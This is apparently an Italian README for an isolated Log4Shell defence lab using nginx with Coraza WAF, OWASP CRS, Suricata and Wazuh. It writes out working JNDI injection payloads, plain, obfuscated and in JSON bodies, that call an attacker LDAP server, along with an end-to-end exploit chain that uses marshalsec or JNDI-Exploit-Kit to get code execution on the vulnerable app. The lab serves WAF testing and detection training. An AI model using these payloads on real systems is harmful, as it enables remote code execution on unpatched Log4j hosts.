Log4Shell Security Lab — nginx + Coraza WAF

Scopo educativo/difensivo: questo lab contiene un'app intenzionalmente vulnerabile (Log4j 2.14.1) e un kit di exploit JNDI, SOLO per imparare a rilevare e bloccare Log4Shell in un ambiente isolato. Non distribuire su Internet, non usare per attaccare sistemi che non ti appartengono.

Lab pratico di difesa Log4Shell (CVE-2021-44228) utilizzando nginx con Coraza WAF integrato (modulo dinamico) + OWASP CRS v4 + insieme di regole JNDI personalizzate. Include container target Spring Boot vulnerabile, attacker-box Kali, e Suricata + Wazuh per l'osservazione.

---

1. Architettura

Host (Windows / Docker Desktop)
│
├── dmz-net (172.20.0.0/24, external-facing)
│   ├── nginx-proxy              ← entrypoint :80/:443, con modulo Coraza + CRS v4
│   ├── attacker-box             ← Kali + kit exploit JNDI
│   └── suricata-ids             ← sniff traffico dmz
│
└── backend-net (172.22.0.0/24, internal: true)
    ├── nginx-proxy              ← seconda NIC
    ├── log4shell-app            ← Spring Boot Log4j 2.14.1
    ├── wazuh-manager            ← SIEM
    └── wazuh-dashboard          ← UI

Flusso delle richieste: client → nginx (Coraza inspect) → log4shell-app. Il WAF gira all'interno di nginx (tramite modulo ngx_http_coraza_module.so), non in un contenitore separato.

---

2. Requisiti

Elemento	Versione minima
Docker Desktop / Engine	24+ con Compose v2
RAM libera	4 GB (Wazuh consuma ~1.5 GB)
Spazio su disco libero	6 GB (immagine build artefatto)
Tempo di build iniziale	10–15 minuti (libcoraza + modulo nginx + strumenti attacker Maven)

---

3. Bootstrap — prima esecuzione

Passo 3.1 — Build delle immagini

cd /path/to/log4shell-nginx-coraza
docker compose build

La fase più lenta è nginx (build di libcoraza v1.4.0 con Go 1.25, poi compilazione del modulo coraza-nginx). Verrà salvata in cache dopo la prima build.

Passo 3.2 — Avvio dello stack

docker compose up -d
docker compose ps

Dopo circa 30 secondi, stato previsto:

Servizio	STATO
nginx-proxy	Up (healthy)
victim-app	Up
kali-attacker	Up
wazuh-siem, wazuh-web	Up
suricata-ids	potrebbe essere Restarting (vedi sezione 8 — non blocca il lab)

Passo 3.3 — Smoke test

# nginx liveness
curl http://localhost/health
# → "nginx proxy healthy"

# attraverso WAF fino all'app (endpoint reale di log4shell-vulnerable-app)
curl -H 'X-Api-Version: 1.0' http://localhost/
# → "Hello, world!"

curl http://localhost/ senza header X-Api-Version restituisce 400 — è l'errore whitelabel di Spring Boot (nessun handler), non è un blocco WAF.

---

4. Test del WAF che blocca Log4Shell

Passo 4.1 — Payload base

# JNDI in User-Agent → regola 1910010 scatta, 403
curl -i -H 'User-Agent: ${jndi:ldap://attacker:1389/x}' http://localhost/

# JNDI nell'header log dell'app: X-Api-Version → regola 1910001 (header+arg) scatta, 403
curl -i -H 'X-Api-Version: ${jndi:ldap://attacker:1389/Exploit}' http://localhost/

# JNDI nella query string → CRS fase 1 blocca
curl -i 'http://localhost/?x=${jndi:ldap://attacker/x}'

Previsto: HTTP/1.1 403 Forbidden, body <html>... 403 Forbidden ... nginx ...</html>.

Passo 4.2 — Payload offuscati

# Lower trick (regola 1910004 / 1910008)
curl -i -H 'User-Agent: ${${lower:j}ndi:ldap://attacker:1389/x}' http://localhost/

# Colon-dash-dash (regola 1910008)
curl -i -H 'User-Agent: ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker:1389/x}' http://localhost/

Passo 4.3 — Payload in corpo JSON

curl -i -X POST -H 'Content-Type: application/json' \
  -d '{"msg":"${jndi:ldap://attacker:1389/x}"}' \
  http://localhost/api/log
# → 403 (regola 1910026: Content-Type=json + corpo contiene jndi)

---

5. Ispezione dei log WAF

Log di audit Coraza (JSON)

docker exec nginx-proxy sh -c 'tail -f /var/log/coraza/audit.log' | python -c "
import json,sys
for ln in sys.stdin:
    try:
        d=json.loads(ln)
        t=d['transaction']
        ua=t['request']['headers'].get('user-agent',['?'])[0][:60]
        st=t['response']['status']
        for m in t.get('messages') or []:
            print(f'{st}  {ua}  ::  {m[\"error_message\"][:160]}')
    except: pass
"

Ogni evento in JSON Lines, contiene:

• transaction.is_interrupted: true → WAF ha bloccato
• messages[].error_message → quale regola è scattata, file e riga, severità

Log di accesso nginx

docker exec nginx-proxy tail -f /var/log/nginx/access.log

Filtra i blocchi:

docker exec nginx-proxy sh -c 'grep " 403 " /var/log/nginx/access.log | tail'

Percorsi mount sull'host

./logs/nginx/      ← access.log, error.log
./logs/coraza/     ← audit.log (JSON), debug.log

---

6. Catena di exploit reale — attacker-box → log4shell-app

Di default backend-net è impostato su internal: true e attacker-box è solo in dmz-net, quindi log4shell-app NON può raggiungere attacker-box. Per far funzionare la catena JNDI end-to-end, esegui prima il passo 6.0.

Passo 6.0 — Permetti a log4shell-app di chiamare attacker-box

Modifica docker-compose.yml, aggiungi attacker-box a backend-net:

  attacker-box:
    networks:
      - dmz-net
      - backend-net    # <— aggiungi

Oppure sposta log4shell-app su dmz-net (più semplice ma riduce il valore educativo della segmentazione):

  log4shell-app:
    networks:
      - backend-net
      - dmz-net        # <— aggiungi

Applica: docker compose up -d (Compose ricrea quel contenitore).

Passo 6.1 — Avvia il server exploit JNDI all'interno di attacker-box

docker exec -it kali-attacker bash
cd /opt/exploits

# Opzione A: marshalsec — semplice, solo relay LDAP→HTTP
./scripts/start-ldap-server.sh marshalsec '' 172.20.0.2

# Opzione B: JNDI-Exploit-Kit — toolkit completo, payload "touch /tmp/pwned"
./scripts/start-ldap-server.sh jndi-kit

Il server ascolta su LDAP :1389 e HTTP :8888 (esposti sull'host nel compose).

Passo 6.2 — Test di bypass: chiama direttamente l'app (senza WAF) per confermare la vulnerabilità

# Da attacker-box, chiama direttamente log4shell-app su backend-net
docker exec kali-attacker curl -s -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://victim-app:8080/

Verifica:

# Il marker Pwned viene creato nel container dell'app
docker exec victim-app ls -la /tmp/pwned

Se vedi il file → la catena di exploit funziona, l'app è ancora vulnerabile, il WAF NON viene bypassato passando per la strada principale.

Passo 6.3 — Verifica che il WAF blocchi lo stesso payload attraverso la strada principale

# Passando per nginx (strada pubblica principale)
curl -i -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://localhost/
# → 403 Forbidden, NESSUN nuovo /tmp/pwned

---

7. Modifica delle regole (senza rebuild)

Il file ./coraza/config/log4shell-rules.conf è montato :ro in nginx su /etc/nginx/coraza/log4shell-rules.conf. Dopo averlo modificato:

docker exec nginx-proxy nginx -t      # controllo sintassi
docker exec nginx-proxy nginx -s reload

Se Coraza segnala errori di parsing (failed to compile the directive...), i worker usciranno e nginx -s reload non riuscirà a far ripartire. In tal caso:

docker compose restart nginx
docker exec nginx-proxy tail -20 /var/log/nginx/error.log

Layout delle regole caricate nel WAF

Ordine di inclusione (in nginx/coraza/main.conf, già baked nell'immagine):

1. Configurazione engine: SecRuleEngine On, log di audit, log di debug
2. crs-setup.conf — inizializza tx.*_anomaly_score, soglie
3. owasp-crs/rules/*.conf — intero CRS v4.7.0
4. log4shell-rules.conf — regole personalizzate (montate dall'host)